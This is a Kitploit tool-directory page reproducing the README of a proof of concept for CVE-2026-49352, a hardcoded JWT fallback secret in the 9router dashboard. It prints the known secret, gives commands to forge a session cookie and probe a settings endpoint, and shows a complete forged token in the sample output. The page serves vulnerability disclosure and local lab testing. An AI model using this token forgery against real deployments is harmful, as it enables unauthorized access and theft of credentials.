Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2026-49352-poc — Exploitability PoC for CVE-2026-49352 (9router Hardcoded JWT Secret Authentication Bypass) | Kitploit
Tools/GitHubGitHub/covepseng/cve-2026-49352-poc
Authentication & AuthorizationPayload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubcovepseng/cve-2026-49352-poc

cve-2026-49352-poc

Exploitability PoC for CVE-2026-49352 (9router Hardcoded JWT Secret Authentication Bypass)

View Repository
152 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-49352 — 9router Hardcoded JWT Secret Authentication Bypass

Table of Contents

  • Overview
  • Affected Versions
  • Root Cause
  • Analysis
  • Repository Structure
  • Requirements
  • Usage
  • Expected Output
  • References
  • Disclaimer

Overview

CVE-2026-49352 is a vulnerability in 9router, a self-hosted Node.js/Next.js proxy for AI coding tools. The dashboard session JWT is signed with a secret sourced from the JWT_SECRET environment variable, but if that variable is left unset, both the login handler and the request guard fall back to the same hardcoded literal:

root@kitploit:~
const SECRET = new TextEncoder().encode(
  process.env.JWT_SECRET || "9router-default-secret-change-me"
);

Because this string is committed to the public repository, it is not a secret at all. Any attacker can sign a token with it and be treated as an authenticated dashboard user.


Affected Versions

Affected rangeFixed in
0.2.21 – 0.4.410.4.45

Root Cause

The fallback secret is defined identically in two independent files.

src/app/api/auth/login/route.js — issues the session token on login:

root@kitploit:~
const SECRET = new TextEncoder().encode(
  process.env.JWT_SECRET || "9router-default-secret-change-me"
);

const token = await new SignJWT({ authenticated: true })
  .setProtectedHeader({ alg: "HS256" })
  .setExpirationTime("24h")
  .sign(SECRET);

src/dashboardGuard.js — verifies the token on every protected request:

root@kitploit:~
const SECRET = new TextEncoder().encode(
  process.env.JWT_SECRET || "9router-default-secret-change-me"
);

async function hasValidToken(request) {
  const token = request.cookies.get("auth_token")?.value;
  if (!token) return false;
  try {
    await jwtVerify(token, SECRET);
    return true;
  } catch {
    return false;
  }
}

hasValidToken() succeeding is the only condition checked before granting access to /dashboard and to the endpoints listed in ALWAYS_PROTECTED (including /api/settings/database). There is no lookup of a session record and no validation of where the token came from — a valid signature is treated as proof of identity.


Analysis

The bypass is confirmed and reproducible against a build of the affected codebase. With JWT_SECRET unset:

root@kitploit:~
[1] Forging dashboard session JWT with the hardcoded fallback secret...
[+] Forged auth_token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

[2] Requesting /dashboard with the forged auth_token cookie...
[+] 200 OK — authentication bypass confirmed

[3] Probing /api/settings/database for exposed credentials...
[+] /api/settings/database returned 200

The deployment shape matters

The vulnerability only triggers when JWT_SECRET was never set by the operator — the default for most quick-start / docker-run deployments that skip the environment configuration step. Deployments that explicitly set JWT_SECRET to a random value are not affected, since SECRET is derived once at module load and never falls back.


Repository Structure

root@kitploit:~
cve-2026-49352-poc/
├── dockerfile                   # 9router built from source, pinned to v0.4.30 (affected)
├── podman-compose.yml           # build + run, JWT_SECRET intentionally omitted
└── exploit/
    ├── go.mod                   # requires github.com/golang-jwt/jwt/v5
    └── exploit.go                # PoC — Go

Requirements

ToolVersionNotes
Podman≥ 4.0podman-compose required
Go≥ 1.22For running the exploit locally

External Go dependency: github.com/golang-jwt/jwt/v5.


Usage

1. Build and start the container

root@kitploit:~
podman-compose build
podman-compose up -d

Wait for the app to report ready, then verify:

root@kitploit:~
curl -si http://localhost:20128/dashboard | head -1
# Expected: HTTP/1.1 307 (redirect to /login, no session yet)

2. Run the exploit

root@kitploit:~
cd exploit
go run exploit.go -target http://localhost:20128

Add -probe to also request /api/settings/database with the forged cookie:

root@kitploit:~
go run exploit.go -target http://localhost:20128 -probe

Available flags:

3. Cleanup

root@kitploit:~
podman-compose down -v

Expected Output

root@kitploit:~
[1] Forging dashboard session JWT with the hardcoded fallback secret...
[+] Forged auth_token:
    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRoZW50aWNhdGVkIjp0cnVlLCJleHAiOjI5MTgzNjMwMTksImlhdCI6MTc4MzA2NzAxOX0.yYdNxS-nYuxv609j1w7juimNVM1RROAfVRjZyt6TU3M
[2] Requesting /dashboard with the forged auth_token cookie...
[+] 200 OK — authentication bypass confirmed against http://localhost:20128
[3] Probing /api/settings/database for exposed credentials (per advisory attack scenario)...
[+] /api/settings/database returned 200
{"settings":{},"providerConnections":[],"providerNodes":[],"proxyPools":[],"apiKeys":[],"combos":[],"modelAliases":{},"customModels":[],"mitmAlias":{},"pricing":{}}

References

ResourceLink
AdvisoryGHSA-jphh-m39h-6gwx
Vulnerable repodecolua/9router
Full analysis — blog postreturn-zero.dev/posts/cve-2026-49352

Disclaimer

This repository is intended for educational purposes and local exploitability analysis only. All testing was performed against a self-hosted container environment. Do not run this PoC against systems you do not own or have explicit written authorization to test.

Download Tool
FlagDefaultDescription
-targethttp://localhost:20128Base URL of the 9router instance
-secret9router-default-secret-change-meJWT fallback secret to forge with
-ttl36 * 365 * 24hValidity window of the forged token
-probefalseAlso request /api/settings/database